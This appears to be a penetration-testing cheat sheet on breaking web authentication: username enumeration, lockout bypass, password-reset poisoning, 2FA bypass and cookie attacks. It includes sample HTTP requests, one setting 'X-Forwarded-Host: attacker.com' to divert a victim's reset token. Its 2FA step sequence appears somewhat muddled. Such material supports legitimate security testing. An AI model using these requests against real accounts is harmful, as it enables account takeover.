Authentication

Username Enumeration

Finding valid usernames is the first step in many attacks. Test every feature interacting with user accounts (e.g., login, registration, password recovery).

admin
administrator
root
firstname.lastname@somecompany.com
test
guest

Registration Form

If the application states “Account already exists” when registering a known email, it leaks user existence.

Response Comparison

Compare server responses when entering:

• A valid username with incorrect passwords
• An invalid username with incorrect passwords

Even minor differences in error messages can reveal valid usernames.

Tip: Use Burp Suite’s “Grep - Match” feature in Intruder to detect response variations.

Response Timing Analysis

Some systems check passwords only if the username is valid. Sending an excessively long password may create a delay, indicating the username exists.

Password Attacks

Cracking passwords is a key part of authentication testing.

Account Locking Mechanisms

Check if accounts lock after multiple failed attempts (e.g., 3 or 5 attempts). Understand the lockout mechanism:

• Testing Responses: Attempt logins with an incorrect password on a locked account, then with the correct password. If responses differ, the lock might be bypassable.
• IP-Based Lockout:
  • Try to see if the failed attempts counter resets if the IP owner logs in successfully. (Make sure that concurrent requests is set to 1)
  • Try bypassing by adding the X-Forwarded-For header.

Password Reset Vulnerabilities

Controlling the Username Parameter

If the reset request contains a username parameter, test if it can be changed:

POST /forgot-password HTTP/2
Host: vulnerable-website.com

user=<victim>&new-pwd=NewPass123&token=xyz

Predictable Password Reset URLs

Some sites use static or weakly random reset links. Test if a simple enumeration allows taking over accounts.

http://vulnerable-website.com/reset-password?user=victim-user

Analyze Randomness

Use Burp Sequencer to analyze the quality of randomness of the token.

Hijacking Password Reset Links

Try injecting an X-Forwarded-Host header to change the reset link destination:

POST /forgot-password HTTP/2
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

username=victim

Two-Factor Authentication (2FA) Bypasses

Brute-Forcing OTP

If the OTP code is short (e.g., 4-6 digits), brute-force it.

Skipping 2FA Steps

Check if you can directly access logged-in pages without completing 2FA.

Exploiting 2FA Logic Flaws

# Step 1: Login with attacker account
POST /login HTTP/1.1
Host: vulnerable-website.com

username=attacker&password=qwerty

# Step 2: Server sets a session cookie
HTTP/1.1 200 OK
Set-Cookie: session=attacker

# Step 3: Request 2FA page with attacker's session
GET /login-steps/second HTTP/1.1
Cookie: session=attacker

# Step 4: Submit the attacker's OTP using the victim's session
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim

verification-code=123456

“Remember Me” Cookie Attacks

• Study how “Remember Me” cookies are generated (e.g., Base64 encoding or hashed values).
• Attempt brute-forcing attack.

Password change

See if you can change the password of an arbitrary user.

• Look for a hidden username parameter that you can control.
• Brute-force password when you enter your current password.
• Test all current & new password combinations.

current password: <wrong>, new-password-1=XXX, new-password-2=XXX
current password: <wrong>, new-password-1=XXX, new-password-2=YYY
current password: <correct>, new-password-1=XXX, new-password-2=XXX
current password: <correct>, new-password-1=XXX, new-password-2=YYY